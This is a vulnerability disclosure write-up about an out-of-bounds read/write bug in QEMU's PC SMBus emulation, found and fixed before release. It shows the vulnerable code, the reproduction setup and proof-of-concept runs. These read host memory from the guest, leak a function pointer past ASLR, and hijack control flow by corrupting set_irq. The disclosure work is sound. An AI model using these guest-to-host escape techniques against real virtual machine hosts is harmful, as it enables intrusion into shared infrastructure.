Author: Michael Hanselmann. Updated: December 6, 2018.

QEMU is a virtual machine emulator. In early December 2018 I identified an out-of-bounds read and write vulnerability in its “PC SMBus” emulation by reading the source code. The responsible source code was added in August 2018 and is part of QEMU 3.1. After producing proof-of-concept exploits I sent a report on the vulnerability to the project while applying responsible disclosure principles. As the source code wasn't part of any final release it was directly fixed in QEMU v3.1.0-rc5 release (commit f2609ffdf3) and no CVE was assigned.

Reproduction environment

QEMU master branch as of December 5, 2018, commit 80422b0019 (v3.1.0-rc4). The file in question, hw/i2c/pm_smbus.c, was last modified in commit 45726b6e2c (August 2018). Built and running on Debian 9 (Stretch) with gcc version 6.3.0 20170516 (Debian 6.3.0-18+deb9u1). Configure command:

./configure --target-list=x86_64-softmmu --disable-strip \
  --enable-system --disable-user --disable-linux-user \
  --disable-bsd-user --disable-guest-agent --enable-kvm \
  --enable-virtfs --enable-debug

As a guest I used a daily build of Grml, a Debian-based live CD, changed to automatically provide a serial console for simplicity. A 9p device is used to provide data into the guest machine. Command used to start QEMU:

./x86_64-softmmu/qemu-system-x86_64 \
  -smp 2 -m 600 \
  -enable-kvm \
  -machine pc,accel=kvm \
  -vnc :0,to=99,id=default -serial mon:stdio \
  -netdev user,id=user.0 -device e1000,netdev=user.0 \
  -netdev user,id=user.1 -device e1000,netdev=user.1 \
  -cdrom $HOME/grml64-small_testing_latest.iso \
  -device usb-ehci \
  -fsdev local,id=share,path=$HOME/share,security_model=none \
  -device virtio-9p-pci,fsdev=share,mount_tag=share

To mount the shared data within the guest:

mount -t 9p -o ro,trans=virtio share /mnt

The source code of the proof-of-concept exploit needs to be compiled:

gcc -std=c11 -o $HOME/share/pm_smbus_poc pm_smbus_poc.c

Background

Under the correct circumstances the smb_ioport_writeb function unconditionally increments the uint32_t variable smb_index before using it as an index into a fixed-size buffer. The relevant code bits:

static void smb_ioport_writeb(void *opaque, hwaddr addr, uint64_t val,
                              unsigned width)
{
    /* ... */
    switch(addr) {
    case SMBHSTSTS:
        s->smb_stat &= ~(val & ~STS_HOST_BUSY);
        if (!s->op_done && !(s->smb_auxctl & AUX_BLK)) {
            uint8_t read = s->smb_addr & 0x01;

            s->smb_index++;
            if (!read && s->smb_index == s->smb_data0) {
                /* ... */
            } else if (!read) {
                s->smb_data[s->smb_index] = s->smb_blkdata;
                s->smb_stat |= STS_BYTE_DONE;
            } else if (s->smb_ctl & CTL_LAST_BYTE) {
                /* ... */
            } else {
                s->smb_blkdata = s->smb_data[s->smb_index];
                s->smb_stat |= STS_BYTE_DONE;
            }
    /* ... */
}

The relevant definitions from include/hw/i2c/pm_smbus.h:

#define PM_SMBUS_MAX_MSG_SIZE 32

typedef struct PMSMBus {
    /* ... */
    uint8_t smb_data[PM_SMBUS_MAX_MSG_SIZE];
    uint8_t smb_blkdata;
    uint8_t smb_auxctl;
    uint32_t smb_index;
    /* ... */
    void (*reset)(struct PMSMBus *s);
    /* ... */
    void (*set_irq)(struct PMSMBus *s, bool enabled);
    /* ... */
}

The function pointers are important for the demonstrations.

Reading arbitrary memory beyond the buffer

My proof-of-concept exploit starts off with getting the bus emulation into a defined state (index to zero, various registers set to known values). While testing it may be necessary to unload any kernel module using the I²C bus (usually i2c_*). To cut the chase we'll read some memory:

root@grml ~ # /mnt/pm_smbus_poc read 6600 1000 | hexdump -vC
[…]
00000030  00 00 68 6f 74 70 6c 75  67 67 61 62 6c 65 00 00  |..hotpluggable..|
[…]
000001b0  00 00 61 63 70 69 2d 70  63 69 2d 68 6f 74 70 6c  |..acpi-pci-hotpl|
000001c0  75 67 2d 77 69 74 68 2d  62 72 69 64 67 65 2d 73  |ug-with-bridge-s|
000001d0  75 70 70 6f 72 74 00 00  00 00 51 00 00 00 00 00  |upport....Q.....|
[…]

What we're seeing are strings allocated by g_strdup for QEMU object properties. Reading the 1000 bytes at the offset of 6600 took just over 5 minutes in my test environment. It's not particularly fast, but it's very reliable if no other in-guest software such as a kernel module tries to interact with the bus in the meantime.

The function pointer stored in reset by pm_smbus_init is readily available:

root@grml ~ # /mnt/pm_smbus_poc read 42 8 | hexdump -vC
00000000  59 71 fd 66 08 56 00 00                           |Yq.f.V..|

# Address is pm_smbus_reset function pointer
(gdb) info symbol 0x560866fd7159
pm_smbus_reset in section .text of …/x86_64-softmmu/qemu-system-x86_64

# Another run to show that ASLR is active
root@grml ~ # /mnt/pm_smbus_poc read 42 8 | hexdump -vC
00000000  59 01 fe 8a cb 55 00 00                           |Y....U..|

(gdb) info symbol 0x55cb8afe0159
pm_smbus_reset in section .text of …/x86_64-softmmu/qemu-system-x86_64

Provoking a segmentation fault in the QEMU process is trival:

root@grml ~ # /mnt/pm_smbus_poc read $((1024 * 1024 * 1024)) 1 | hexdump -vC

Eventually QEMU will fail:

Thread 3 "qemu-system-x86" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f19b02d7700 (LWP 32513)]
0x0000561401b64cfe in smb_ioport_writeb (opaque=0x561403c759c0, addr=0, val=255, width=1) at qemu/hw/i2c/pm_smbus.c:273
273                     s->smb_blkdata = s->smb_data[s->smb_index];

Writing beyond buffer

I've tried to find ways to find arbitrary bytes beyond the buffer, but was only successful in reliably writing individual bytes within 255 bytes. Repeating a single byte read from smb_blkdata up to a specific offset would also be possible, though less interesting. Setting smb_blkdata while the index is equal or greater than PM_SMBUS_MAX_MSG_SIZE (32) leads to the index being reset and tracking the uint32_t index in smb_data0 is only possible up to 255 as the latter is of type uint8_t. Moving the index by reading overwrites smb_blkdata.

What the proof-of-concept exploit instead does is corrupt a function pointer, namely set_irq. smb_ioport_writeb will try to invoke the function before returning, leading to a segmentation fault.

Virtual machines using the ICH9 chipset emulation can trigger the reset function from the guest system (ICH9_SMB_HOSTC_SSRESET). The pointer is well within the 255 bytes and if written from MSB to LSB could be easily controlled by a guest (implementation left as an exercise for the reader).

Let's try corrupting a function pointer:

root@grml ~ # /mnt/pm_smbus_poc corrupt-set-irq

Meanwhile in GDB (0x41 in the address is the PoC payload):

Thread 3 "qemu-system-x86" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7f37a3be6700 (LWP 32144)]
0x0000000000000041 in ?? ()